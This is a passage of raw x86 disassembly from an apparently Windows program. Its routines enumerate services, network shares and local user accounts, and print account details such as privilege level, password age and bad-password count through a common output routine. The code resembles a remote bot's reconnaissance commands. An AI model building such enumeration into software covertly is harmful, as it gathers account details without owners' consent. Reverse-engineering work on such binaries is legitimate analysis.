		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
		test	eax, eax
		jnz	short loc_418F1A
		nop
		call	near ptr 26B0669h
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


